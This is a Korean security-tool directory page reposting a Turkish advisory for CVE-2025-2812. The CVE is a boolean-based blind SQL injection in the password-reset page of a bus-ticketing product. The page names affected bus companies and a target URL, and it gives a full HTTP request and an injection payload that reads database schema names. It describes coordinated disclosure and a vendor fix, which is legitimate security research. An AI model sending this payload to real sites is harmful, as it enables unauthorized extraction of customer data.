Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2812 — CVE-2025-2812 SQL 인젝션 | Kitploit
도구/GitHubGitHub/sahici/cve-2025-2812
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubsahici/cve-2025-2812

CVE-2025-2812

CVE-2025-2812 SQL 인젝션

저장소 보기
41년 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-2812 — Mydata Bilişim Ltd. Şti'의 "Bilet Satış Otomasyonu"에서 발견된 SQL Injection 취약점

📌 CVE-ID: CVE-2025-2812
📢 USOM 공지: tr-25-0099
🛡️ 취약점 유형: CWE-89 - SQL Injection (Boolean-based Blind)
🏢 영향받는 제품: Bilet Satış Otomasyonu – Mydata Bilişim Ltd. Şti
🌐 예제 대상 URL: https://otobusfirmasi.com.tr/otobus-bileti/SifremiUnuttum.php

🔍 취약점 요약

"Bilet Satış Otomasyonu" ürününde, şifre sıfırlama (SifremiUnuttum.php) sayfasındaki "Adınızın ilk harfi" (ilkHarf) parametresinde Boolean-based Blind SQL Injection zafiyeti tespit edilmiştir. Bu zafiyet, kullanıcı adı ya da parola olmadan sistemden veri sızdırılmasına imkân tanımaktadır.

Bu zafiyet, aşağıdaki otobüs firmalarının sistemlerini kapsıyor:

  • Balıkesir Uludağ
  • Kontur
  • Efe Tur
  • Kale Seyahat
  • +20 firma

💥 PoC (Proof of Concept)

📌 HTTP Request:

root@kitploit:~
도구 다운로드
GET /otobus-bileti/SifremiUnuttumBilgi.php?TelefonNo=12313131231312313&ilkHarf=a')%20OR%20NOT%20LENGTH(LENGTH((SELECT%20SCHEMA_NAME%20FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT%200,1)))=1--%20wXyW HTTP/1.1 Host: otobusfirmasi.com.tr Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: https://otobusfirmasi.com.tr/otobus-bileti/SifremiUnuttum.php Cookie: PHPSESSID=***************

🧪 Kullanılan Payload:

root@kitploit:~
TelefonNo=12313131231312313&ilkHarf=a')%20OR%20NOT%20LENGTH(LENGTH((SELECT%20SCHEMA_NAME%20FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT%200,1)))=1--%20wXyW

🧠 Teknik Detaylar

  • Zafiyetli Parametre: ilkHarf
  • Yöntem: Boolean-based Blind SQLi
  • Zafiyet Türü: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

🙏 Teşekkür

"Mydata Bilişim Ltd. Şti" tarafından geliştirilen "Bilet Satış Otomasyonu" ürününde tespit ettiğimiz zafiyet sonrası, CVE-2025-2812 koduyla duyurulan bu açık, üretici ve USOM koordinasyonuyla ilan edilmiştir. Bu süreçte siber güvenlik topluluğuna katkı sunmaktan gurur duyarız.

Zafiyetin bildirilmesini takiben, Mydata Bilişim Ltd. Şti gerekli tüm prosedürleri hızlıca uygulamış, ilgili güvenlik açığını kapatarak sistemlerine ek güvenlik önlemleri entegre etmiştir. Sürece gösterdikleri şeffaflık, iş birliği ve sorumluluk bilinci için kendilerine teşekkür ederiz.

Bu süreçte siber güvenlik topluluğuna katkı sunmaktan gurur duyarız.

📬 İletişim

Her türlü soru, geri bildirim ya da iş birliği için benimle iletişime geçebilirsiniz:

  • 📧 E-posta: [email protected]
  • 📷 Instagram: @yyasar.yasin